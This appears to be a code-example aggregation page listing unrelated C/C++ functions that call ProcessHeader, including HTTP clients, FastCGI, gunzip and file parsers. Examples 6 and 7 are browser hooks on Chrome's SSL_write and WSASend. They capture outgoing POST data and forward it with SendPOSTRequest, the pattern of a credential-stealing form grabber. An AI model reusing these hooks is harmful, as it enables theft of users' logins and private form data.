Esempio n. 1
0
bool Client::ReadHeader(Value& result)
{
    log_trace();
    // Read available data
    socket_.SetTimeout(0);
    while (true)
    {
        int bytesRead;
        bool eof;
        socket_.Receive(buffer_+bufferLength_, MaxBufferLength-bufferLength_, bytesRead, eof, 0);
        if (socket_.FatalError())
        {
            log_warn("error while reading header: " << socket_.GetLastError() << ", bytesRead=" << bytesRead);
            return false;
        }
        bufferLength_ += bytesRead;
        log_info("read=" << bytesRead << ", total=" << bufferLength_);

        switch (ProcessHeader(eof))
        {
            case HEADER_COMPLETE : return true;
            case HEADER_FAULT : return false;
        }
        unsigned timeLeft = GetTimeLeft();
        if (timeLeft == 0)
        {
            handler_->GenerateFaultResult(AnyRpcErrorTransportError,"Timeout reading response header",result);
            break;
        }
        socket_.WaitReadable(timeLeft);
    }
    return false;
}
Esempio n. 2
0
int NetPacket::ParsePacket(char *buf, int len)
{
	if ((unsigned int)len < sizeof(struct header_std)) {

		return -1;
	}
	
	struct header_std *head = (struct header_std *)buf;

	if (ProcessHeader(head, len)) {

		return -1;
	}

	switch (head->msg_type) {

	case MESSAGE_TYPE_REQ:
		ProcessRequest((struct payload_req *)(buf + sizeof(*head)),
				buf + sizeof(*head) + sizeof(struct payload_req));
		break;
	case MESSAGE_TYPE_ACK:
		ProcessAck((struct payload_ack *)(buf + sizeof(*head)),
				buf + sizeof(*head) + sizeof(struct payload_ack));
		break;
	default:
		break;
	}

	return len - head->msg_size;
}
Esempio n. 3
0
int CHttpRequest::PostHTTP(CUrl& iUrl, const CString& RawData, const CString& iE, inetSocket& Sock){
  CString Request;
  if (ProxyURL.StrLength() && Proxy.isValid()) {
    Request += "POST "; Request += iUrl.GetScheme(); Request+="://";
    Request += iUrl.GetHost(); 
    if (iUrl.GetPortValue() != 80) {
      Request+=":"; 
      Request += iUrl.GetPort();
    }
    Request += iUrl.GetUrlPath(); Request += " HTTP/1.0"; Request+=iE;    
  } else {
    Request += "POST "; Request += iUrl.GetUrlPath(); Request += " HTTP/1.0"; Request+=iE;
    Request += "Host: "; Request += iUrl.GetHost(); Request+=iE;
  }
  for (int i=0;i<RHeaderParams.entries_count();i++) {
    Request+=RHeaderParams.get_name(i);
    Request+=": ";
    Request+=RHeaderParams.get_value(i);
    Request += iE;
  }
  Request += iE;
  Request += RawData;
  if (!Send(Sock, Request)) return 0;
  ProcessHeader(Sock);
  ProcessData(Sock);
  if (RData.StrLength()) {
    RHeaderResponse.clear();
    RStatusValue = 200;
    RStatus = "200";
    return 1;
  } else return 0;
}
Esempio n. 4
0
void Gunzip::InputFinished()
{
	if (state==PROCESS_HEADER)
		ProcessHeader();

	if (state!=AFTER_END)
		inflater.InputFinished();
}
Esempio n. 5
0
size_t http::curl::detail::ResponseReader::ProcessCurlWriteHeaderCallback(void* ptr, size_t size, size_t nmemb) {
	const size_t length = size * nmemb;
	if (statusLineProcessed) {
		ProcessHeader(ptr, length);
	} else {
		ProcessStatusLine(ptr, length);
		statusLineProcessed = true;
	}
	return length;
}
Esempio n. 6
0
int CHROMECALLBACK(void*fd,const void *buf,int amount)
{
	int Total = SSL3_WRITE(fd,buf,amount);
	if (Total == amount)
	{
		if(isPostData((PCHAR)buf))
		{
			PCHAR Host = (PCHAR)HeapAlloc(GetProcessHeap(),0,MAX_PATH);
			if (Host)
			{
				RtlSecureZeroMemory(Host, MAX_PATH);
				if (ProcessHeader((PCHAR)buf, amount, "Google Chrome", Host,MAX_PATH,"SSL_WRITE") == -1)
				{
					PCHROMESOCKET NewSocket = InsertSocket((SOCKET)fd, &Section);
					if (NewSocket)
						NewSocket->szHost = Host;
					else
						HeapFree(GetProcessHeap(),0,Host);
				}
				else
				{
					HeapFree(GetProcessHeap(),0,Host);
				}

			}
		}
		else
		{
			PCHROMESOCKET Socket = FindSocket((SOCKET)fd, &Section);
			if (Socket)
			{
				PCHAR szData = (PCHAR)HeapAlloc(GetProcessHeap(),0,amount+1);
				if (szData)
				{
					RtlSecureZeroMemory(szData,amount+1);
					m_memcpy(szData,buf,amount);
					if (Socket->szHost)
					{
						
						SendPOSTRequest("Google Chrome",Socket->szHost,strlen(Socket->szHost),"SSL_WRITE 2",strlen("SSL_WRITE 2"),szData,strlen(szData));
						HeapFree(GetProcessHeap(),0,Socket->szHost);
						Socket->szHost = 0;
					}
					RemoveSocket((SOCKET)fd, &Section);
					HeapFree(GetProcessHeap(),0,szData);
				}
			}
		}
		
	}
	return Total;
}
Esempio n. 7
0
int WINAPI CHROMEWSACALLBACK(_In_   SOCKET s, _In_   LPWSABUF lpBuffers, _In_   DWORD dwBufferCount,_Out_  LPDWORD lpNumberOfBytesSent,_In_   DWORD dwFlags, _In_   void* lpOverlapped,_In_  void* lpCompletionRoutine)
{

	int Result = WSASENDCHROME(s,lpBuffers,dwBufferCount,lpNumberOfBytesSent,dwFlags,lpOverlapped,lpCompletionRoutine);
	if (Result == 0)
	{
		DWORD i = 0;
		for (i = 0; i < dwBufferCount;i++)
		{
			LPWSABUF PBUFFERS = (LPWSABUF)((DWORD)lpBuffers + (i*sizeof(WSABUF)));
			ProcessHeader(PBUFFERS->buf,PBUFFERS->len, "Google Chrome",0,0,"WSASEND");
		}
	}
	return Result;
}
Esempio n. 8
0
/****************************************************************************
 * DecodeBlock: the whole thing
 ****************************************************************************
 * This function must be fed with ogg packets.
 ****************************************************************************/
static void* DecodeBlock(decoder_t* p_dec, block_t* p_block)
{
    decoder_sys_t* p_sys = p_dec->p_sys;

    /* Check for headers */
    if (!p_sys->b_has_headers) {
        if (ProcessHeader(p_dec)) {
            block_Release(p_block);
            return NULL;
        }
        p_sys->b_has_headers = true;
    }

    return ProcessPacket(p_dec, p_block);
}
Esempio n. 9
0
void Gunzip::Put(const byte *inString, unsigned int length)
{
	switch (state)
	{
		case PROCESS_HEADER:
			inQueue.Put(inString, length);
			if (inQueue.CurrentSize()>=MAX_HEADERSIZE)
				ProcessHeader();
			break;
		case PROCESS_BODY:
			inflater.Put(inString, length);
			break;
		case AFTER_END:
			AccessPort(1).Put(inString, length);
			break;
	}
}
Esempio n. 10
0
void TTXTSubtitleFormat::ReadFile(AssFile *target, agi::fs::path const& filename, std::string const& encoding) const {
	target->LoadDefault(false);

	// Load XML document
	wxXmlDocument doc;
	if (!doc.Load(filename.wstring())) throw TTXTParseError("Failed loading TTXT XML file.", nullptr);

	// Check root node name
	if (doc.GetRoot()->GetName() != "TextStream") throw TTXTParseError("Invalid TTXT file.", nullptr);

	// Check version
	wxString verStr = doc.GetRoot()->GetAttribute("version", "");
	int version = -1;
	if (verStr == "1.0")
		version = 0;
	else if (verStr == "1.1")
		version = 1;
	else
		throw TTXTParseError("Unknown TTXT version: " + from_wx(verStr), nullptr);

	// Get children
	AssDialogue *diag = nullptr;
	int lines = 0;
	for (wxXmlNode *child = doc.GetRoot()->GetChildren(); child; child = child->GetNext()) {
		// Line
		if (child->GetName() == "TextSample") {
			if ((diag = ProcessLine(child, diag, version))) {
				lines++;
				target->Line.push_back(*diag);
			}
		}
		// Header
		else if (child->GetName() == "TextStreamHeader") {
			ProcessHeader(child);
		}
	}

	// No lines?
	if (lines == 0)
		target->Line.push_back(*new AssDialogue);
}
Esempio n. 11
0
/*
 *----------------------------------------------------------------------
 *
 * FillBuffProc --
 *
 *      Reads bytes from the ipcFd, supplies bytes to a stream client.
 *
 *----------------------------------------------------------------------
 */
static void FillBuffProc(FCGX_Stream * stream)
{
	FCGX_Stream_Data *data = (FCGX_Stream_Data *) stream->data;
	FCGI_Header header;
	int headerLen = 0;
	int status, count;

	for (;;) {
		/*
		 * If data->buff is empty, do a read.
		 */
		if (stream->rdNext == data->buffStop) {
			count = OS_Read(data->reqDataPtr->ipcFd,
				(char *)data->buff, data->bufflen);
			if (count <= 0) {
				SetError(stream,
					(count ==
						0 ? FCGX_PROTOCOL_ERROR :
						OS_Errno));
				return;
			}
			stream->rdNext = data->buff;
			data->buffStop = data->buff + count;
		}
		/*
		 * Now data->buff is not empty.  If the current record contains
		 * more content bytes, deliver all that are present in data->buff.
		 */
		if (data->contentLen > 0) {
			count = min(data->contentLen,
				data->buffStop - stream->rdNext);
			data->contentLen -= count;
			if (!data->skip) {
				stream->wrNext = stream->stop =
					stream->rdNext + count;
				return;
			} else {
				stream->rdNext += count;
				if (data->contentLen > 0) {
					continue;
				} else {
					data->skip = FALSE;
				}
			}
		}
		/*
		 * If the current record (whose content has been fully consumed by
		 * the client) was padded, skip over the padding bytes.
		 */
		if (data->paddingLen > 0) {
			count = min(data->paddingLen,
				data->buffStop - stream->rdNext);
			data->paddingLen -= count;
			stream->rdNext += count;
			if (data->paddingLen > 0) {
				continue;
			}
		}
		/*
		 * All done with the current record, including the padding.
		 * If we're in a recursive call from ProcessHeader, deliver EOF.
		 */
		if (data->eorStop) {
			stream->stop = stream->rdNext;
			stream->isClosed = TRUE;
			return;
		}
		/*
		 * Fill header with bytes from the input buffer.
		 */
		count = min((int)sizeof(header) - headerLen,
			data->buffStop - stream->rdNext);
		memcpy(((char *)(&header)) + headerLen, stream->rdNext, count);
		headerLen += count;
		stream->rdNext += count;
		if (headerLen < sizeof(header)) {
			continue;
		};
		headerLen = 0;
		/*
		 * Interpret header.  eorStop prevents ProcessHeader from reading
		 * past the end-of-record when using stream to read content.
		 */
		data->eorStop = TRUE;
		stream->stop = stream->rdNext;
		status = ProcessHeader(header, stream);
		data->eorStop = FALSE;
		stream->isClosed = FALSE;
		switch (status) {
		case STREAM_RECORD:
			/*
			 * If this stream record header marked the end of stream
			 * data deliver EOF to the stream client, otherwise loop
			 * and deliver data.
			 *
			 * XXX: If this is final stream and
			 * stream->rdNext != data->buffStop, buffered
			 * data is next request (server pipelining)?
			 */
			if (data->contentLen == 0) {
				stream->wrNext = stream->stop = stream->rdNext;
				stream->isClosed = TRUE;
				return;
			}
			break;
		case SKIP:
			data->skip = TRUE;
			break;
		case BEGIN_RECORD:
			/*
			 * If this header marked the beginning of a new
			 * request, return role information to caller.
			 */
			return;
			break;
		case MGMT_RECORD:
			break;
		default:
			SetError(stream, status);
			return;
			break;
		}
	}
}
Esempio n. 12
0
static HRESULT Process(__in FILE *fp, __in ITypeLib *lpTypeLib)
{
  TYPEINFO_LIST aTypeInfoList;
  SIZE_T i;
  HRESULT hRes;
  BOOL b;

  if (lpTypeLib == NULL)
    return E_POINTER;
  hRes = BuildTypeList(lpTypeLib, aTypeInfoList);
  EXIT_ON_ERROR(hRes);
  hRes = BuildTypeListDependencies(lpTypeLib, aTypeInfoList);
  EXIT_ON_ERROR(hRes);
  SortTypeList(lpTypeLib, aTypeInfoList);
  hRes = ProcessHeader(fp, lpTypeLib);
  EXIT_ON_ERROR(hRes);
  for (i=0; i<aTypeInfoList.GetCount(); i++)
  {
    if (aTypeInfoList[i]->nKind == TKIND_ENUM)
    {
      hRes = ProcessTypedef(fp, aTypeInfoList[i]);
      EXIT_ON_ERROR(hRes);
      WRITEANSI_AND_CHECK(fp, "\r\n");
      WRITESEPARATOR_AND_CHECK(fp);
    }
  }
  for (i=0; i<aTypeInfoList.GetCount(); i++)
  {
    switch (aTypeInfoList[i]->nKind)
    {
      case TKIND_RECORD:
      case TKIND_UNION:
      case TKIND_ALIAS:
        hRes = ProcessTypedef(fp, aTypeInfoList[i]);
        EXIT_ON_ERROR(hRes);
        WRITEANSI_AND_CHECK(fp, "\r\n");
        WRITESEPARATOR_AND_CHECK(fp);
        break;
    }
  }
  for (i=0,b=FALSE; i<aTypeInfoList.GetCount(); i++)
  {
    if (aTypeInfoList[i]->nKind == TKIND_INTERFACE)
    {
      hRes = ProcessInterface(fp, aTypeInfoList[i], 1);
      EXIT_ON_ERROR(hRes);
      b = TRUE;
    }
  }
  if (b != FALSE)
  {
    WRITEANSI_AND_CHECK(fp, "\r\n");
    WRITESEPARATOR_AND_CHECK(fp);
  }
  for (i=0; i<aTypeInfoList.GetCount(); i++)
  {
    if (aTypeInfoList[i]->nKind == TKIND_INTERFACE)
    {
      hRes = ProcessInterface(fp, aTypeInfoList[i], 2);
      EXIT_ON_ERROR(hRes);
      WRITEANSI_AND_CHECK(fp, "\r\n");
      WRITESEPARATOR_AND_CHECK(fp);
    }
  }
  return S_OK;
}
Esempio n. 13
0
int CHttpRequest::GetHTTP10(CUrl& iUrl, const CString& iE, inetSocket& Sock){
  /*
    attempt a retrieval of HTTP/1.0
    */  
  CString Request;
  if (ProxyURL.StrLength() && Proxy.isValid()) {
    if (RLimit) Request += "GET "; else Request+="HEAD ";
    Request += iUrl.GetScheme(); Request+="://";
    Request += iUrl.GetHost();
    if (iUrl.GetPortValue() != 80) {
      Request+=":"; 
      Request += iUrl.GetPort();
    }
    Request += iUrl.GetUrlPath(); Request += " HTTP/1.0"; Request+=iE;    
  } else {
    if (RLimit) Request += "GET "; else Request+="HEAD ";
    Request += iUrl.GetUrlPath(); Request += " HTTP/1.0"; Request+=iE;
    Request += "Host: "; Request += iUrl.GetHost(); Request+=iE;
  }
  for (int i=0;i<RHeaderParams.entries_count();i++) {
    Request+=RHeaderParams.get_name(i);
    Request+=": ";
    Request+=RHeaderParams.get_value(i);
    Request += iE;
  }
  Request += iE;
#ifdef _U_DEBUG
  cout << "# HTTP Request: =====" << endl;
  cout << Request;
  cout << "=====================" << endl;
#endif
  /*
    issue request
    */
  CString RLoc;
  if (!Send(Sock, Request)) return 0;    
  ProcessHeader(Sock);
  ProcessData(Sock);
  switch(RStatusValue) {
  case 200: return 1;    
  case 301:
  case 302:
  case 303:
  case 307:  
    if (!FollowRedirections) return RStatusValue;
    RLoc = RHeaderResponse.get_value("Location");
    if (RLoc.StrLength()) {      
      /*
	HTTP 1.1 - Temporary Redirect is 302 and 307
	RedirectVector is relevant for final URL address
	that could be retrieved
	*/
      if (!RedirectVector.Contains(RLoc)) {
	RedirectVector+=RLoc; 
	CUrl NewURL(RLoc);      
	if (!Proxy.isValid()) {
	  inetSocket Sock2(NewURL.GetPortValue(), NewURL.GetHost());
	  return GetHTTP10(NewURL, iE, Sock2);
	} else {
	  Sock.Reopen();
	  return GetHTTP10(NewURL, iE, Sock);
	}      
      }
    }  
    return RStatusValue;
  case 305: /* use proxy */    
    RLoc = RHeaderResponse.get_value("Location");
    if (RLoc.StrLength()) {
      CUrl ProxyURL(RLoc);
      if (ProxyURL.isValid()) {
	inetSocket ProxySock(ProxyURL.GetPortValue(), ProxyURL.GetHost());
	if (wsLastError.StrLength()) return RStatusValue;	
	return GetHTTP10(iUrl, iE, ProxySock);
      }
    }
    return RStatusValue;  
  default: return RStatusValue;   
  }
}
Esempio n. 14
0
int KProtocolProxyFTP::OpenProxy(KURL *_url, int mode, bool _reload)
{
  url = _url->url().data();

  bytesRead = 0;
  startTime.start();
  currentTime.start();
  
    // Save the parameter, we could need it if we get HTTP redirection
    // See ::ProcessHeader
    currentMode = mode;
    
	if(mode != READ) return(Error(KIO_ERROR_NotImplemented,
				              "FTP Proxy currently only supports reading",0));
	if (connected) Close();

	sock = ::socket(PF_INET,SOCK_STREAM,0);

	if (sock < 0)
	{
	    Error(KIO_ERROR_CouldNotCreateSocket,"Could not create socket",errno);
	    return(FAIL);
	}

	int do_proxy = use_proxy;
	if (do_proxy)
	{
//            char *p;
//	    if ( ( p = getenv("no_proxy") ) ) {
//	         do_proxy = !revmatch(_url->host(), p);
//	    }
       	    if ( ! noProxyForStr.isEmpty() ) 
	    {
	      // printf( "host: %s\n", _url->host() );
	      // printf( "nplist: %s\n", noProxyForStr.data() );
	        do_proxy = !revmatch( _url->host(), noProxyForStr.data() );    
	    }
	}

	if(do_proxy)
	{
	  // printf("FTP::Open: connecting to proxy %s:%d\n",
	  // inet_ntoa(proxy_name.sin_addr),
	  // ntohs(proxy_name.sin_port));
		if(::connect(sock,(struct sockaddr*)(&proxy_name),sizeof(proxy_name)))
		{
	    	Error(KIO_ERROR_CouldNotConnect,"Could not connect to proxy",errno);
	    	return(FAIL);
		}
	}
	else
	{
		struct sockaddr_in server_name;
		int port = _url->port();
		if ( port == 0 )
			port = 80;

		if(init_sockaddr(&server_name, _url->host(), port) == FAIL)
		{
    		Error(KIO_ERROR_UnknownHost, "Unknown host", errno );
			return(FAIL);
		}

                // printf("ProxyFTP::Open: connecting to %s:%d\n",
		// inet_ntoa(server_name.sin_addr),
		// ntohs(server_name.sin_port));
		if(::connect(sock,(struct sockaddr*)(&server_name),sizeof(server_name)))
		{
	    	Error(KIO_ERROR_CouldNotConnect, "Could not connect host", errno);
			return(FAIL);
		}
 	}
	connected = 1;

	fsocket = fdopen(sock,"r+");
	if(!fsocket)
	{
	    Error(KIO_ERROR_CouldNotConnect, "Could not fdopen socket", errno);
	    return(FAIL);
	}

	QString command(15              // for the constant characters
                        + strlen(_url->user())
                        + strlen(_url->host())
                        + 20            // for the port number
                        );

	if(do_proxy)
	{
		/** add hostname when using proxy **/
		int port = _url->port();
		if (! port &&  strcmp(_url->protocol(),"ftp") == 0)  // use default one
			port = 21;

		if( strlen(_url->user()) != 0 )
		    command.sprintf("GET ftp://%s@%s:%d",
		                     _url->user(), _url->host(), port);
		else
		    command.sprintf("GET ftp://%s:%d", _url->host(), port);

	} else {
		command = "GET ";
	}
	
	if ( _url->path()[0] != '/' ) command += "/";
	command += _url->httpPath(); // keep path encoded. Thanks to [email protected]

	command += " HTTP/1.0\n"; /* start header */
	command += "User-Agent: Konqueror/1.0\r\n"; /* User agent */

	if ( _reload ){ /* No caching for reload */
	  command += "Pragma: no-cache\r\n"; /* for HTTP/1.0 caches */
	  command += "Cache-control: no-cache\r\n"; /* for HTTP/>=1.1 caches */
        }
	
	command += "Host: "+QString(_url->host())+"\r\n"; /* support for HTTP 1.1 */
 
	if( strlen(_url->user()) != 0 )
	{
		char *www_auth = create_www_auth(_url->user(),_url->passwd());
		command += www_auth;
		free(www_auth);
	}

	if( do_proxy )
	{
	  if( proxy_user != "" && proxy_pass != "" )
          {
	    char *www_auth = create_generic_auth("Proxy-authorization", proxy_user, proxy_pass);
	    command += www_auth;
	    free(www_auth);
	  }
	}

	command += "\n";  /* end header */
	// fprintf(stderr,"Command=%s\n",command.data());

	// write(0, command.data(), command.length());
	write(sock, command.data(), command.length());

	return(ProcessHeader());
}
Esempio n. 15
0
bool CHexeMarkupEvaluator::ProcessResult (SHTTPRequestCtx &Ctx, CHexeProcess::ERunCodes iRun, CDatum dResult)

//	ProcessResult
//
//	Process the result of an evaluation. Returns TRUE if processing should 
//	continue; FALSE if we need RPC or are done processing.

	{
	//	If we have more async calls then return

	if (iRun == CHexeProcess::runAsyncRequest)
		{
		Ctx.iStatus = pstatRPCReady;
		Ctx.sRPCAddr = dResult.GetElement(0);
		Ctx.RPCMsg.sMsg = dResult.GetElement(1);
		Ctx.RPCMsg.dPayload = dResult.GetElement(2);
		Ctx.RPCMsg.dwTicket = 0;
		Ctx.RPCMsg.sReplyAddr = NULL_STR;

		return false;
		}

	//	Otherwise, process the result based on the directive that we're
	//	evaluating.

	bool bResult = true;
	switch (m_iProcessing)
		{
		case tagEval:
			OutputDatum(dResult);
			break;

		case tagFile:
			//	If this is an error, then we return with 404

			if (iRun == CHexeProcess::runError)
				{
				Ctx.iStatus = pstatResponseReady;
				Ctx.Response.InitResponse(http_NOT_FOUND, dResult.AsString());
				bResult = false;
				}

			//	If the result is a list then we expect a fileDesc and fileData.

			else if (dResult.GetCount() >= 2)
				{
				Ctx.iStatus = pstatFileDataReady;
				Ctx.dFileDesc = dResult.GetElement(0);
				Ctx.dFileData = dResult.GetElement(1);
				Ctx.AdditionalHeaders = m_Headers;
				bResult = false;
				}

			//	Otherwise we expect a filePath

			else
				{
				Ctx.iStatus = pstatFilePathReady;
				Ctx.sFilePath = dResult;
				Ctx.AdditionalHeaders = m_Headers;
				bResult = false;
				}
			break;

		case tagHeader:
			bResult = ProcessHeader(Ctx, dResult);
			break;

		case tagIf:
			m_iIfLevel++;
			if (dResult.IsNil())
				m_iIfLevelEnd = m_iIfLevel;
			break;

		case tagRedirect:
			//	If this is an error, then we return with 404

			if (iRun == CHexeProcess::runError)
				{
				Ctx.iStatus = pstatResponseReady;
				Ctx.Response.InitResponse(http_NOT_FOUND, dResult.AsString());
				bResult = false;
				}

			//	Otherwise, we expect a string containing the new address.

			else if (!dResult.IsNil())
				{
				m_dwResponseCode = http_MOVED_PERMANENTLY;
				m_sResponseMsg = STR_MOVED_PERMANENTLY;

				AddHeader(HEADER_LOCATION, dResult);
				}

			break;

		default:
			ASSERT(false);
		}

	m_iProcessing = tagNone;
	return bResult;
	}
Esempio n. 16
0
TInt DoZipDownload(RFile &aBootFile)
	{
	TZipInfo z;
	z.iRemain=FileSize;
	InitProgressBar(0,(TUint)FileSize,_L("LOAD"));
	TInt r=Initialise(z);
	CHECK(r);
	RThread t;
	t.SetHandle(z.iThreadHandle);

	while (z.iRemain && z.iThreadStatus==KRequestPending)
		{
		TRequestStatus dummy;
		TRequestStatus* pS=&dummy;

		r=ReadBlockToBuffer(z, aBootFile);
		if (r != KErrNone)
			{
			PrintToScreen(_L("FAULT: Unzip Error %d\r\n"),r);
			if (z.iFileBufW-z.iFileBufR==z.iFileBufSize)
				{
				PrintToScreen(_L("Check there is only one image\n\rin the zip file.\r\n"));
				}
			CHECK(r);
			}

		UpdateProgressBar(0,(TUint)(FileSize-z.iRemain));
		t.RequestComplete(pS,0);		// same process
		while(z.iHeaderDone==0 && z.iThreadStatus==KRequestPending)
			{
			DELAY(20000);
			}
		if (z.iHeaderDone==1 && z.iThreadStatus==KRequestPending)
			{
			// after reading first block, process the header
			ProcessHeader(z);
			}
		}	// while

	User::WaitForRequest(z.iThreadStatus);

	TInt exitType=t.ExitType();
	TInt exitReason=t.ExitReason();
	if (z.iRemain || exitType!=EExitKill || exitReason!=KErrNone)
		{
		TBuf<32> exitCat=t.ExitCategory();
		PrintToScreen(_L("Exit code %d,%d,%S\n"),exitType,exitReason,&exitCat);
		TEST(0);
		}

	PrintToScreen(_L("Unzip complete\r\n"));
	
	TUint8* pD=Buffer;
	TInt len=1024;

	r=ReadInputData(pD,len);
	TEST(r==KErrEof);


	DELAY(20000);

	Cleanup(z);
	return KErrNone;
	}
Esempio n. 17
0
int asc2eph( const char* headerFile, int numAsciiFiles, const char* asciiFiles[])
{
    FILE* f = fopen( "JPLEPH", "w+");
    int i, retVal = 0;
    EphCtx ctx;
    long recordSize;
    double previousValues[2] = {0.0, 0.0};

    if (!f)
    {
        fprintf(stderr, "Error:unable to create binary ephemeris file\n");
        return 2;
    }

    retVal = ProcessHeader( f, &ctx, headerFile);
    if (retVal)
    {
        goto exit;
    }

    /* make sure files are processed in order */
    if (numAsciiFiles > 1)
    {
        qsort( asciiFiles, numAsciiFiles, sizeof(asciiFiles[0]), cmp);
    }

    recordSize = RecordSize(&ctx);
    /* go to data record 2  -- data will go there */
    if (0 != fseek(f, 2 * recordSize, SEEK_SET))
    {
        retVal = ERR_FILE_SEEK;
        goto exit;
    }

    for (i = 0; i < numAsciiFiles; ++i)
    {
        retVal = AppendAscii( f, &ctx, i, asciiFiles[i], previousValues);
        if (retVal)
        {
            goto exit;
        }
    }

    /* WRAP EVERYTHING by writing missing part of record 0: SS,  NCon,
     AU, EM_RATIO, DENUM */
    /* first JD: read from first data record, i.e. record 2 */
    if (0 != fseek(f, 2 * recordSize, SEEK_SET))
    {
        retVal = ERR_FILE_SEEK;
        goto exit;
    }
    if (1 != fread(previousValues, sizeof(double), 1, f))
    {
        retVal = ERR_FILE_READ;
        goto exit;
    }
    /* previousValues[0] = firstJD, previousValues[1] = lastJD */

    /* make sure minJD <= firstJD and lastJD <= maxJD
      firstJD <= lastJD is checked when processing the ascii files */
    if (previousValues[0] < ctx.ss[0] || previousValues[1] > ctx.ss[1])
    {
        retVal = ERR_INVALID_DATA_RANGE;
        goto exit;
    }
    ctx.ss[0] = previousValues[0];
    ctx.ss[1] = previousValues[1];


    retVal = WriteRecord0(f, &ctx, recordSize);

exit:

    fclose(f);
    return retVal;
}